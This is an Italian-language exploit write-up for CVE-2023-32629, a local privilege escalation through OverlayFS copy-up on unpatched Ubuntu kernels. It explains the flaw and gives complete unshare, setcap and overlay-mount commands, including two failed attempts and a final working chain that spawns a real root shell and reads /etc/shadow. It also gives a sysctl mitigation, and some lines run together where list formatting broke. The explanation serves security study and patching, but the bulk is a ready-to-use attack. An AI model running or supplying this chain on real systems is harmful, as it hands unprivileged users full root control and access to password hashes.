
OverlayFS Escalation dei privilegi locale - Descrizione completa fino all'escalation completa
Escalazione di privilegi locali OverlayFS - Scrittura completa fino all'escalation totale
Solo per scopi educativi e di ricerca di sicurezza autorizzata.
Gravità: Alta
Tipo: Escalation di privilegi locali (LPE)
Interessati: Kernel Ubuntu precedenti alle patch di maggio/giugno 2023
Requisito: Namespace utente non privilegiati abilitati (predefinito su Ubuntu)
CVE-2023-32629 è una vulnerabilità nell'implementazione di OverlayFS del kernel Linux. Sfrutta l'interazione tra namespace utente e capacità del filesystem durante l'operazione di copy-up di OverlayFS per ottenere un'escalation di privilegi locali da qualsiasi utente non privilegiato al vero root del sistema.
Quando si esegue unshare -r, il kernel crea un nuovo namespace utente e mappa il proprio UID host all'UID 0 al suo interno:
/proc/self/uid_map:
0 1001 1 ← "UID 0 dentro namespace = UID 1001 (lowpriv) fuori"
Ciò significa che dentro il namespace si appare come root, ma il kernel host traduce sempre al proprio UID reale quando esegue controlli delle autorizzazioni del filesystem sulle risorse host.
OverlayFS impila un lowerdir (sola lettura) e un upperdir (lettura-scrittura) in una vista unificata. Quando un file in lowerdir viene scritto attraverso la vista unificata, il kernel lo copia prima in upperdir — questa operazione si chiama copy-up.
Critico: Il copy-up viene eseguito dal kernel stesso usando le credenziali dell'host, indipendentemente dal namespace che lo ha innescato. Tutti gli attributi estesi (xattrs), incluse le capacità del filesystem, vengono preservati durante questa operazione.
| Meccanismo | Richiede proprietà root | Concesso da |
|---|---|---|
| Bit SUID | ✅ Sì | chmod u+s |
Capacità (cap_setuid) | ❌ No | setcap + xattr trusted |
Questa distinzione è il cuore dell'exploit. Le capacità vengono onorate dal kernel in base al solo xattr, indipendentemente da chi possiede il file.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
I comandi cp e chmod sono stati eseguiti dentro il namespace, dove l'UID 0 corrisponde a lowpriv sull'host. Quindi:
/tmp/rootshell era di proprietà di lowpriv, non del vero rootlowpriv concede solo i privilegi di lowpriv — che avevamo giàcp ha anche rimosso gli xattr delle capacità dal binariounshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
La shell era root solo dentro il namespace. Quando cercava di accedere a /etc/shadow, il kernel eseguiva il controllo delle autorizzazioni VFS usando l'UID host tradotto:
Process UID (dentro NS): 0 (sembra root)
Traduzione kernel: 0 → 1001 (lowpriv sull'host)
Permessi /etc/shadow: 640 root:shadow
UID controllore effettivo: 1001 (lowpriv)
Risultato: EACCES — Permission denied
La bolla del namespace non riesce mai a rompere la barriera verso il vero root host quando si toccano risorse del filesystem host.
# Passo 1: Imposta l'OverlayFS dentro il namespace ed ESCI
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch innesca il copy-up del kernel: l/python3 → u/python3
# kernel esegue il copy-up con le CREDENZIALI DELL'HOST, preservando l'xattr cap_setuid
# Passo 2: Verifica che la capacità sia sopravvissuta sul filesystem host
getcap u/python3
# u/python3 cap_setuid=eip ← xattr trusted impostato sul FS host
# Passo 3: Esegui FUORI dal namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap dentro namespace utente
│
│ scrive cap_setuid come xattr trusted su l/python3
▼
2. touch m/python3 → copy-up di OverlayFS innescato
│
│ kernel copia l/ → u/ usando CREDENZIALI DELL'HOST
│ TUTTI gli xattr preservati, incluso cap_setuid
▼
3. u/python3 esiste sul FILESYSTEM HOST
│
│ proprietario: lowpriv (irrilevante per le capacità)
│ xattr: cap_setuid=eip (kernel si fida di questo)
▼
4. Esegui u/python3 FUORI dal namespace
│
│ nessuna mappatura UID in effetto
│ kernel legge cap_setuid=eip come capacità a livello host
│ os.setuid(0) → vero root host
▼
5. Shell ha UID genuino 0
│
│ controlli VFS passano come vero root
└─ /etc/shadow leggibile
Il kernel non dovrebbe onorare xattr di capacità trusted impostati da un namespace utente durante il copy-up, perché questi xattr portano fiducia a livello host. Non aver applicato questo confine è il bug.
Il namespace ci ha dato la possibilità di impostare una capacità trusted su un file; il copy-up del kernel ha contrabbandato quella capacità sul filesystem host; eseguendo fuori dal namespace l'ha resa reale.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs da utenti non privilegiatiQuesto strumento è fornito solo per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o un'esplicita autorizzazione scritta è illegale. L'autore non è responsabile per qualsiasi uso improprio.
| Dentro il namespace | Fuori dal namespace |
|---|
| UID 0 significa | lowpriv (mappato) | vero root |
Effetto di setuid(0) | nessun effetto (già root nel NS) | escalation reale |
| Accesso FS host | tradotto → lowpriv | root completo |
cap_setuid onorato | solo dentro il NS | sì, a livello host |